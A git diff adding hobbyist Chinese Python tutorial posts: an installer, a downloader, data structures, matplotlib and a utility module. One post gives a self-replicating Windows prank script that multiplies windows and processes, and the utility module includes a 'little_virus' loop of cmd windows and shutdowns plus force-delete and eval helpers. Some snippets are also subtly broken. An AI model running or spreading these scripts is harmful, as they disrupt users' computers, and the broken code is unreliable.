multenterbox('请输入您要创建的课程信息:',title,('您要上课的主题:','课程URL:')) + yn = buttonbox('您是否需要下载:腾讯课堂(Tencent Classroom Software)?',title,('下载','取消')) + + if yn == '下载': + download() + elif yn == '取消': + pass + else: + msgbox('请选择一个按钮!',title,'确定') + + code = """# *-* coding : utf-8 *-* +from os import system,name +from easygui import buttonbox,msgbox + +title = '去上课' +select = buttonbox('您的课程信息是否是: {1}。 ?',title,('是','否')) +list = [__name__,name] + +def yes(): + system('start "C:\\Program Files\\Internet Explorer\\iexplore.exe" "{0}"') + +def main(): + if (select == '是'): + yes() + elif (select == '否'): + exit() + else: + msgbox('请选择一个按钮!',title,'确定') + +if list[0] == "__main__" and list[1] == "nt": + main()""".format(class_data[1],class_data[0]) + + with open('{0}.py'.format(class_data[0]),'w+',encoding = 'utf-8') as file: + file.write(code) + msgbox('创建成功,文件在当前目录下: {0} 。\n请将此文件移动到:files\\class文件夹下即可被学生发现!'.format(currentPath),title,button) + +def ctr(): + system('cd "点名器" & call "ctr.py"') + +def main(): + choice = buttonbox('您好,欢迎使用线上课平台!\n此程序适用于教师版。\n您可以通过此插件选择一些关于学生版的服务!',title,('新建作业','新建课程','新建练习','点名系统','联系作者')) + + if choice == '新建作业': + new_homework() + elif choice == '新建课程': + new_class() + elif choice == '新建练习': + new_exam() + elif choice == '点名系统': + ctr() + elif choice == '联系作者': + contact() + else: + msgbox('请选择其中的一个按钮!',title,button) + +if __name__ == '__main__' and name == 'nt': + main() +''', + } + +def create(cn): + ec = 'utf-8' + types = 'w+' + dirs = cn + '/files/' + bg = get(coding['background']) + bb = get(coding['blackboard']) + + with open(dirs + 'homework.py',types,encoding = ec) as h: + h.write(coding['homework']) + + with open(dirs + 'class.py',types,encoding = ec) as c: + c.write(coding['class']) + + with open(dirs + 'exam.py',types,encoding = ec) as e: + e.write(coding['exam']) + + with open(dirs + 'background.jpg','wb') as img: + img.write(bg.content) + + with open(dirs + 'welcome.py',types,encoding = ec) as w: + w.write(coding['welcome']) + + with open(dirs + 'blackboard.png','wb') as img: + img.write(bb.content) + + with open(dirs + 'text.txt',types,encoding = ec) as t: + t.write(coding['text']) + + with open(dirs + 'choice.py',types,encoding = ec) as c: + c.write(coding['choice']) + + with open(cn + '/login.py',types,encoding = ec) as l: + l.write(coding['login']) + + showinfo('通知','安装完成!\n您安装的位置是:\n{0}\n\n请先查看文件\n{1}/files/welcome.py'.format(cn,cn)) + pass + +def teacher(cn): + ctr = cn + '/教师版/点名器' + dir = cn + '/教师版/' + types = 'w+' + ec = 'utf-8' + ctr_bg = get(coding['ctr_bg']) + makedirs(ctr) + + with open(dir + 'teacher.py',types,encoding = ec) as t: + t.write(coding['teacher']) + + with open(dir + '/点名器/ctr.py',types,encoding = ec) as ctr: + ctr.write(coding['ctr']) + + with open(dir + '/点名器/ctr_bg.jpg','wb') as ctr_img: + ctr_img.write(ctr_bg.content) + +def install(): + try: + target = askdirectory(title = '请选择安装目录') + dir = target + '/腾飞线上课平台' + if target != 0: + teacher_yn = askyesno('腾飞课堂','是否安装教师版?') + if teacher_yn == True: + teacher(dir) + else: + pass + makedirs('{0}/files/homework'.format(dir)) + mkdir('{0}/files/class'.format(dir)) + mkdir('{0}/files/topic'.format(dir)) + create(dir) + else: + showerror('错误','请上传一个安装目录的路径。') + except FileExistsError: + showerror('错误','出现了错误,请您关闭程序后再重新打开。') + +window = Tk() +window.withdraw() +system('color 0a') +print(data) +yn = askyesno('腾飞课堂','欢迎使用 腾飞课堂 安装向导!\n您是否要继续安装 腾飞课堂1.0 ?\n\n介绍:\n腾飞课堂1.0实现了简单的课堂系统,可以上课、做作业、考试。') +if yn == True: + install() +else: + pass +window.mainloop() + +``` +然后新建一个批处理文件,输入以下命令: +```powershell +@echo off +chcp 65001 >nul +call "dist\setup.exe" +exit +``` +在![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200813104658330.png#pic_center) +这里搜索“Windows PowerShell”,输入命令如下: + +```powershell +cd "安装包目录" +pyinstaller setup.py -F +``` +等一会后,我们就可以在文件夹里发现: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200813110031137.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +在文件夹`dist`里面可以看到`setup.exe`这个文件,大功告成。 + +如果大家需要完整的,可以从这里下载:`https://download.csdn.net/download/PanDaoxi2020/12726543`! diff --git "a/Python\346\210\252\345\233\276.md" "b/Python\346\210\252\345\233\276.md" new file mode 100644 index 0000000..c5d8cc8 --- /dev/null +++ "b/Python\346\210\252\345\233\276.md" @@ -0,0 +1,24 @@ +> 我们用到了第三方模块`pyautogui`,请提前安装。 + +直接看代码: + +```python +from pyautogui import screenshot +from tkinter import Tk +from time import strftime + +window = Tk() +window.withdraw() + +width = window.winfo_screenwidth() +height = window.winfo_screenheight() + +image = screenshot(region = (0,0,width,height)) #前两个是起始x和y,后两个是终止x和y,这里表示截全屏的图 +image.save('./screenshot.png') + +window.mainloop() +``` + +(截取效果) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210219115901113.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + diff --git "a/Python\346\216\247\345\210\266\345\217\260\350\276\223\345\207\272\344\271\230\346\263\225\350\241\250\346\225\210\346\236\234.md" "b/Python\346\216\247\345\210\266\345\217\260\350\276\223\345\207\272\344\271\230\346\263\225\350\241\250\346\225\210\346\236\234.md" new file mode 100644 index 0000000..aa60e10 --- /dev/null +++ "b/Python\346\216\247\345\210\266\345\217\260\350\276\223\345\207\272\344\271\230\346\263\225\350\241\250\346\225\210\346\236\234.md" @@ -0,0 +1,19 @@ +我们来写一个Python输出乘法表的效果。 + +> 这次也不需要任何库。 + +步骤: +1.打开开发工具,创建一个新Python文档。 +2.输入代码如下: + +```python +#双重for循环 +for o in range(1,10): #嵌套第一个循环 + for t in range(1,o+1): #嵌套第二个循环 + print('{0}×{1}={2}'.format(o,t,o * t),end = '') + #输出信息 + #可以用格式化字符串,也可以用强转:%s .format +str() + print() #换行 +``` +代码完成了。 + diff --git "a/Python\346\225\264\344\272\272\345\260\217\344\273\243\347\240\201\342\200\224\342\200\224\347\255\211\346\257\224\346\225\260\345\210\227.md" "b/Python\346\225\264\344\272\272\345\260\217\344\273\243\347\240\201\342\200\224\342\200\224\347\255\211\346\257\224\346\225\260\345\210\227.md" new file mode 100644 index 0000000..4d7b263 --- /dev/null +++ "b/Python\346\225\264\344\272\272\345\260\217\344\273\243\347\240\201\342\200\224\342\200\224\347\255\211\346\257\224\346\225\260\345\210\227.md" @@ -0,0 +1,49 @@ +```python +from tkinter import Tk +from tkinter.messagebox import showinfo,showwarning,showerror +from random import randint +from os import system,name + +title = "Message" +message = "很不好意思,您的电脑废了" +loops = [] +hide = Tk() +hide.withdraw() + +def main(): # 实现自我繁衍 + global loops + randwindow = randint(0,2) + if randwindow == 0: + showinfo(title,message) + elif randwindow == 1: + showwarning(title,message) + else: + showerror(title,message) + with open(__file__,"r",encoding="utf-8") as f: + text = f.read() + for i in range(0,2): + content = "./%d.py" % randint(100000,999999) + with open(content,"w",encoding="utf-8") as f: + f.write(text) + loops.append(content) + for i in range(0,2): + system("start /min cmd /c python %s" % loops[i]) + +# 此程序仅可在Windows系统运行 +if __name__ == "__main__" and name == "nt": + main() +else: + showerror("Message","无法运行程序,原因可能是:\n①(1)您非主动运行程序。\n(2)这个程序不能在当前系统下运行,请尝试其他操作系统。") + exit() +hide.mainloop() + +``` +这个程序没把我气死。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/894416a1d4c64574855c2a97ed27cf0b.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/0d4bef4920fd4f33990c151d1b8e2d2c.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/fadfa73c59264a56a686cedf667034c3.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +**按照这样,11次运行后,就能生成`1024`个窗口!!** +怎么关掉呢??? +第一步干掉进程:`py.exe`和`cmd.exe`。 +第二步干掉生成的文件:![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b05a78a772dd4d498394e17bf5d334f7.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +好 家 伙 diff --git "a/Python\346\243\200\346\237\245\350\277\220\350\241\214\347\216\257\345\242\203\345\217\212\347\212\266\346\200\201.md" "b/Python\346\243\200\346\237\245\350\277\220\350\241\214\347\216\257\345\242\203\345\217\212\347\212\266\346\200\201.md" new file mode 100644 index 0000000..7a0acbb --- /dev/null +++ "b/Python\346\243\200\346\237\245\350\277\220\350\241\214\347\216\257\345\242\203\345\217\212\347\212\266\346\200\201.md" @@ -0,0 +1,52 @@ +> 在运行程序的时候,我们必须要检查环境以及程序的状态。比如说我写了一个只可以在Windows上运行的程序,如果在Mac上运行,那是肯定不行的。如果这个程序是被调用而不是使用者自己打开,里面的一些函数可能会发生“不良反应”。今天我们来说一说怎样检查程序的状态。 + + + +首先,让我们来看`检查系统`方面的,方法有2种,哪种都可以: + +```python +from platform import system +if system() == 'Windows': + print('使用的是Windows系统!') +``` +或者这样也行: + +```python +from os import name +if name == 'nt': + print('使用的是Windows系统!') +``` + +下面我们来说如何查看运行状态: + +```python +if __name__ == '__main__': + print('程序自主运行!') +``` + +我们来判断Python系统的版本: + +```python +from platform import python_version +version = python_version().split('.') +if int(version[0]) >= 3 and int(version[1]) >= 6: # 如果版本低于 3.6 ,则不会显示 + print('版本是可以使用的!') +else: + print('版本过低,请尽快更新!') +``` +获取版本是32位还是64位: + +```python +from platform import architecture +print(architecture()[0].split('bit')[0] + '位系统') +``` + +--- +(额外赠送的小知识,和上面的内容没有关系)获取计算机名: + +```python +from platform import node +print(node()) +``` + + diff --git "a/Python\346\250\241\346\213\237\346\240\210.md" "b/Python\346\250\241\346\213\237\346\240\210.md" new file mode 100644 index 0000000..944481a --- /dev/null +++ "b/Python\346\250\241\346\213\237\346\240\210.md" @@ -0,0 +1,71 @@ +```python +# 创建一个栈 +stack = [] +top,maxSize = 0,100 + +# 因为Python对列表的要求,需要手动给空白部位添加0,否则会报错 +for i in range(maxSize): + stack.append(0) + +# 入栈操作 +def push(value): + global stack,top + if top < maxSize: + stack[top] = value + top += 1 + +# 出栈操作 +def pop(): + global top + if top > 0: + top -= 1 + +# 获取栈顶元素 +def gtop(): + return stack[top] + +# 清空栈 +def clear(): + global top + top = 0 + +# 啥都没干时 +print('top:',top) +print('stack:',stack) + +# 先入栈 +push(1) +push(2) +push(3) +push(4) +print('top:',top) +print('stack:',stack) + +# 再出栈 +pop() +# 这里的出栈并不是删除列表中的元素,而是将top-1,再次入栈时就会变化 +print('top:',top) +print('stack:',stack) + +# 获取栈顶 +print(gtop()) + +# 清空栈(直接将top归零) +clear() +print('top:',top) +print('stack:',stack) +``` + +```python +top: 0 +stack: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] +top: 4 +stack: [1, 2, 3, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] +top: 3 +stack: [1, 2, 3, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] +4 +top: 0 +stack: [1, 2, 3, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] + +``` + diff --git "a/Python\346\250\241\346\213\237\351\230\237\345\210\227.md" "b/Python\346\250\241\346\213\237\351\230\237\345\210\227.md" new file mode 100644 index 0000000..9bcad40 --- /dev/null +++ "b/Python\346\250\241\346\213\237\351\230\237\345\210\227.md" @@ -0,0 +1,51 @@ +```python +# 创建队列 +q = [] +maxSize,front,rear = 100,0,0 +# 占位 +for i in range(maxSize): + q.append(0) + +# 这两个函数我承认我是从我写的C++函数改的 +# 进队 +def push(value): + global rear,q + # 如果队不满则添加值 + if(rear < maxSize): + q[rear] = value + rear += 1 + +# 出队 +def pop(): + global front + # 如果队首不为队尾(即不为空),则front+1 + if(front != rear): + front += 1 + +# 啥也没干 +print('q:',q) +print('rear: %d\tfront: %d' % (rear,front)) + +# 先入队 +for i in range(1,6): + push(i) +print('q:',q) +print('rear: %d\tfront: %d' % (rear,front)) + +# 再出队 +pop() +print('q:',q) +print('rear: %d\tfront: %d' % (rear,front)) + +``` + +```python +q: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] +rear: 0 front: 0 +q: [1, 2, 3, 4, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] +rear: 5 front: 0 +q: [1, 2, 3, 4, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] +rear: 5 front: 1 + +``` + diff --git "a/Python\347\210\254\350\231\253\345\256\236\347\216\260\347\234\237\345\256\236\344\270\213\350\275\275\346\226\207\344\273\266.md" "b/Python\347\210\254\350\231\253\345\256\236\347\216\260\347\234\237\345\256\236\344\270\213\350\275\275\346\226\207\344\273\266.md" new file mode 100644 index 0000000..dafd3ea --- /dev/null +++ "b/Python\347\210\254\350\231\253\345\256\236\347\216\260\347\234\237\345\256\236\344\270\213\350\275\275\346\226\207\344\273\266.md" @@ -0,0 +1,47 @@ +我们上一次用进度条表示模拟下载,这一次就来一个真的下载。 + +> 我们这一次需要用到第三方库:requests + +步骤: +1.WIN+R唤出“运行”,输入“cmd.exe”。 +2.打开小黑框cmd.exe后输入:`pip3 install requests`。 +3.等待下载完成后关闭cmd.exe。 +4.打开开发工具,创建一个新的空白的Python文档。 +5.输入代码如下: + +```python +from requests import get #导入 requests.get() +def download(url,name): #创建 download 函数 + get = get(url) #获取 url 参数 + #下面开始对文件进行写入 + with open(name,'wb') as download: + download.write(get.content) + +#调用 download 函数 +download(url = 'https://www.python.org/ftp/python/3.8.3/python-3.8.3.exe',name = 'python-3.8.3.exe') +``` +代码完成了。 + +实现效果: +等待一会后,在当前文件夹会出现“python-3.8.3.exe”这个文件,这是从官网上下载的。如果想要将文件移动到指定位置,代码可以这么写: + +```python +from os import mkdir,system +from requests import get + +def move(folder,name): + try: + mkdir(folder) + system('move "{0}" "{1}"'.format(name,folder)) + except FileExistsError: + pass + +def download(url,name,folder = 'D:/download files'): + get = get(url) + with open(name,'wb') as download: + download.write(get.content) + move(folder = folder,name = name) + +download(url = 'https://www.python.org/ftp/python/3.8.3/python-3.8.3.exe',name = 'python-3.8.3.exe') +``` + diff --git "a/Python\347\224\273\345\207\272\346\212\230\347\272\277\345\233\276.md" "b/Python\347\224\273\345\207\272\346\212\230\347\272\277\345\233\276.md" new file mode 100644 index 0000000..a189bca --- /dev/null +++ "b/Python\347\224\273\345\207\272\346\212\230\347\272\277\345\233\276.md" @@ -0,0 +1,39 @@ +今天我们来认识一个高级的模块——`Matplotlib`。它可以帮助我们来画出统计图。这是一个第三方模块,所以我们首先需要下载并安装它(`pip3 install matplotlib `)。下载安装完以后,我们打开编辑器,输入以下代码: + +```python +#导入包和模块 +import matplotlib.pyplot as plt +#储存温度和日期 +datas = { + '1' : [22,25,19,18,25,27,20], + '2' : ['Sunday','Monday','Tuesday','Wednesday','Thursday','Friday','Saturday'] + } +#绘制出图形,大小是 (15,15) +plt.figure(figsize = (15,15)) +#绘制出图形 x轴 y轴 +plt.plot(datas['2'],datas['1']) +#设置x和y轴的文字颜色 +plt.xticks(size = 10,color = 'red') +plt.yticks(size = 10,color = 'blue') +#设置x轴和y轴的标签 +plt.xlabel('Days',size = 12,color = 'black') +plt.ylabel('Temperature',size = 12,color = 'black') +#设置标题 +plt.title('Future Weather Chart Temperature Trend',size = 20,color = 'black') +#使用风格 bmh +plt.style.use('bmh') +#绘制出统计图 +plt.show() +``` +效果截图: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201107103218666.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +如果想要查看所有的风格,使用此代码: + +```python +#导入包和模块 +import matplotlib.pyplot as plt +#查看所有风格 +print(plt.style.available) +``` + +共有26种,分别是:`['Solarize_Light2', '_classic_test_patch', 'bmh', 'classic', 'dark_background', 'fast', 'fivethirtyeight', 'ggplot', 'grayscale', 'seaborn', 'seaborn-bright', 'seaborn-colorblind', 'seaborn-dark', 'seaborn-dark-palette', 'seaborn-darkgrid', 'seaborn-deep', 'seaborn-muted', 'seaborn-notebook', 'seaborn-paper', 'seaborn-pastel', 'seaborn-poster', 'seaborn-talk', 'seaborn-ticks', 'seaborn-white', 'seaborn-whitegrid', 'tableau-colorblind10']`。 diff --git "a/Python\347\232\204Tools\346\250\241\345\235\227.md" "b/Python\347\232\204Tools\346\250\241\345\235\227.md" new file mode 100644 index 0000000..118eeba --- /dev/null +++ "b/Python\347\232\204Tools\346\250\241\345\235\227.md" @@ -0,0 +1,363 @@ +此模块是我自己创建的一个模块,如果大家认为哪里需要改进,请联系我。 + +下载地址:[点击这里下载](https://download.csdn.net/download/PanDaoxi2020/12854837) + +帮助文档:此模块具体如何使用请看帮助文档,点击这里可以查看。 +后期我可能会制作汉语版,请大家关注我的动态。如果制作成功并发布完成,我可能将不会发布到`CSDN文档类资源`,将发布到`https://www.lanzou.com`网盘,需要下载密码。 +
+ +公开源代码: + +```python +from win10toast import ToastNotifier +from requests import get,post +from tkinter import Tk +from tkinter.messagebox import showinfo,showwarning,showerror +from tkinter.filedialog import askopenfilename,askopenfilenames +from os import name,system,makedirs,environ,remove,getcwd +from os.path import splitext,exists +from time import strftime,sleep +from calendar import calendar +from base64 import b64encode,b64decode +from random import shuffle,choice,randint +from math import pi,e + +system('chcp 65001 >nul') +hide = Tk() +toaster = ToastNotifier() + +class Error(Exception): + def __init__(self): + pass + def __str__(self): + return 'Please Check Your Code.' + +class Box(): + def __init__(self): + pass + def info(self,title,message): + hide.withdraw() + showinfo(title,message) + hide.mainloop() + def error(self,title,message): + hide.withdraw() + showerror(title,message) + hide.mainloop() + def warning(self,title,message): + hide.withdraw() + showwarning(title,message) + hide.mainloop() + def ask(self,title,message): + with open('box.vbs','w+',encoding = 'ANSI') as vbs_box: + vbs_box.write('Msgbox "{0}",32,"{1}"'.format(message,title)) + system('call "box.vbs"') + remove('box.vbs') + def vbs_box(self,code): + with open('box.vbs','w+',encoding = 'ANSI') as vbs_box: + vbs_box.write(code) + system('call "box.vbs"') + remove('box.vbs') +def data(): + global data + data = { + 'running' : __name__, + 'system' : name, + 'path' : getcwd(), + 'file' : __file__, + 'username' : environ['USERNAME'], + 'time' : strftime('%Y-%m-%d %H:%M:%S') + } + print('data =',data) + return data + +class Decryption(): + def __init__(self): + self.encode_type = 'base64' + def encryption(self,text = 'Tools Modular'): + result = b64encode(text.encode('utf-8')) + return result + def decrypt(self,text = b'VG9vbHMgTW9kdWxhcg=='): + result = b64decode(text).decode('utf-8') + return str(result) + +def output_calendar(year): + try: + print(calendar(int(year))) + except: + raise Error + +def calc(formula): + if len(formula) != 0: + print('result :',eval(formula)) + return eval(formula) + else: + raise Error + +class Requests(): + def __init__(self): + self.url = ' ' + self.host = ' ' + self.data = {' ' : ' '} + self.params = {' ' : ' '} + self.name = ' ' + def post(self): + response = post(self.url,params = self.params,data = self.data) + print('Response Result :',response) + content = response.json() + print('Analytical Result :',content) + return content + def get(self): + response = get(self.url,data = self.data) + print('Response Result :',response) + content = response.json() + print('Analytical Result :',content) + return content + def download(self): + response = get(self.url) + with open(self.name,'wb') as downloads: + downloads.write(response.content) + +class File(): + def __init__(self): + self.file_type = 'r' + self.file_path_name = 'C:/readme.txt' + self.encoding = 'utf-8' + self.write_letter = 'Tools Modular' + self.initialdir = 'C:/' + self.title = 'Please Choice The File(s).' + self.extended = '.txt' + def read_file(self): + with open(self.file_path_name,self.file_type,encoding = self.encoding) as read_file: + content = read_file.read() + return content + def write_file(self): + with open(self.file_path_name,self.file_type,encoding = self.encoding) as write_file: + write_file.write(self.write_letter) + def choice_one_file(self,content = [('Python File','*.py')]): + hide.withdraw() + file_name = askopenfilename(initialdir = self.initialdir,filetypes = content,title = self.title) + return file_name + hide.mainloop() + def choice_files(self,content = ['Python File','*.py']): + hide.withdraw() + file_name = askopenfilenames(initialdir = self.initialdir,filetypes = content,title = self.title) + return file_name + hide.mainloop() + def is_extended(self): + if splitext(self.file_path_name)[1] == self.extended: + return True + else: + return False + def remove_file(self): + remove(self.file_path_name) + +class Programing(): + def __init__(self): + pass + def run_Batch(self,code): + if len(code) != 0: + with open('batch.bat','w+',encoding = 'utf-8') as bat: + bat.write(code) + system('call "batch.bat"') + remove('batch.bat') + else: + raise Error + def run_Python(self,code): + if len(code) != 0: + with open('python.py','w+',encoding = 'utf-8') as python: + python.write(code) + system('call "python.py"') + remove('python.py') + else: + raise Error + def run_VBS(self,code): + if len(code) != 0: + with open('vb.vbs','w+',encoding = 'utf-8') as vbs: + vbs.write(code) + system('call "vb.vbs"') + remove('vb.vbs') + else: + raise Error + def run_HTML(self,code): + if len(code) != 0: + with open('html5.htm','w+',encoding = 'utf-8') as html: + html.write(code) + system('call "html5.htm"') + remove('html5.htm') + else: + raise Error + def run_Cpp(self,code): + if len(code) != 0: + with open('c++.cpp','w+',encoding = 'utf-8') as cpp: + bat.write(code) + system('call "c++.cpp"') + remove('c++.cpp') + else: + raise Error + def run_C(self,code): + if len(code) != 0: + with open('c.c','w+',encoding = 'utf-8') as c: + c.write(code) + system('call "c.c"') + remove('c.c') + else: + raise Error + def run_EXE(self,code): + if len(code) != 0: + with open('exe.exe','w+',encoding = 'utf-8') as exe: + exe.write(code) + system('call "exe.exe"') + remove('exe.exe') + else: + raise Error + def run_orthers_language(self): + system('start iexplore "https://www.bccn.net/run/"') + +class Shortcuts(): + def __init__(self): + pass + def lock(self): + system('rundll32 user32.dll,LockWorkStation') + def say(self,text): + with open('say.vbs','w+',encoding = 'ANSI') as vbs: + vbs.write('set sapi = createObject("SaPi.SpVoice")\nsapi.Speak "%s"' % (text)) + system('call "say.vbs"') + remove('say.vbs') + def color(self,number): + system('color ' + number) + def echo(self,text): + system('echo ' + text) + def chcp(self,number): + system('chcp ' + number) + def variable(self): + system('set') + def tasklist(self): + system('tasklist') + def cls(self): + system('cls') + def taskkill(self,exe): + system('taskkill /im %s /f' % (exe)) + def big_file(self,byte): + system('fsutil file createNew big_file.txt ' + byte) + def cmd(self): + system('start ') + def powershell(self): + system('powershell') + def explorer(self,path): + system('explorer "%s"' % (path)) + def mspaint(self,path): + system('mspaint "%s"' % (path)) + def control(self): + system('C:\\Windows\\System32\\control.exe') + def notepad(self,path): + system('notepad "%s"' % (path)) + def write(self): + system('C:\\Windows\\write.exe') + def F5(self): + system('taskkill /im explorer.exe /f & explorer') + def shutdown(self,params = '/s /t 00'): + system('shutdown %s' % params) + def run(self,command): + system(command) + def iexplore(self,page): + system('start iexplore "%s"' % (page)) + def title(self,caption): + system('title ' + caption) + def pause(self): + system('pause') + def clean(self): + system('cleanmgr') + def calc(self): + system('calc') + def makedir(self,path): + system('md "%s"' % (path)) + def ver(self): + system('ver') + def copy(self,path = ['C:\\readme.txt','D:\\']): + system('copy "%s" "%s"' % (path[0],path[1])) + def move(self,path = ['C:\\readme.txt','D:\\']): + system('copy "%s" "%s"' % (path[0],path[1])) + def translate(self): + system('start iexplore "https://fanyi.baidu.com/"') + def type(self,path): + system('type "path"') + def delete(self,path): + system('del /q /s /f "%s"' % (path)) + def open(self,program): + system('call "%s"' % (program)) + def little_virus(self): + while True: + self.cmd() + self.shutdown('/s /t 100') + def cmd_exit(self): + system('exit') + def cd(self,path): + system('cd "%s"' % (path)) + def rename(self,path = ['C:\\readme.txt','python_rename.txt']): + system('ren "%s" "%s"' % (path[0],path[1])) + def ipconfig(self): + system('ipconfig') + def countdown(self,number): + self.color('0A') + self.title('Count Down.') + while number >= 0: + if number == 0: + return 'Okay' + toaster.show_toast('Count Down', + 'Your Countdown Is Complete!', + icon_path = None, + duration = 10, + threaded = True) + self.say('your count down is complete!') + print(number) + number -= 1 + sleep(1) + self.cls() + def timer(self): + self.color('0A') + self.title('Current Time.') + while True: + print(strftime('%Y-%m-%d %H:%M:%S')) + sleep(1) + self.cls() + +class Number(): + def __init__(self): + self.format_list = [] + self.__numbers = [] + self.pi = pi + self.e = e + def all_numbers(self,number): + for i in range(1,number + 1): + self.__numbers.append(i) + return self.__numbers + def sum(self): + number_sum = 0 + for i in self.__numbers: + number_sum += i + return number_sum + def write_to_numbers_list(self,number): + for i in range(1,number + 1): + self.__numbers.append(i) + def random_integer(self,maximum = 100): + return randint(0,100) + def list_shuffle(self): + return shuffle(self.format_list) + def choice(self): + return choice(self.format_list) + +def help(): + imgfile = get('https://img-blog.csdnimg.cn/2020090920543570.jpg') + with open('wechat.jpg','wb') as img: + img.write(imgfile.content) + system('call "wechat.jpg"') + system('move "wechat.jpg" "C:\\"') + system('start iexplore "https://docs.qq.com/doc/DUUxBbGNzUGlXYVlY"') + print('''About This Mode: +\tAuthor : Pan Daoxi +\tQQ : 2060642520@qq.com +\tBlog(CSDN) : https://me.csdn.net/PanDaxi2020 +\tE-mail : 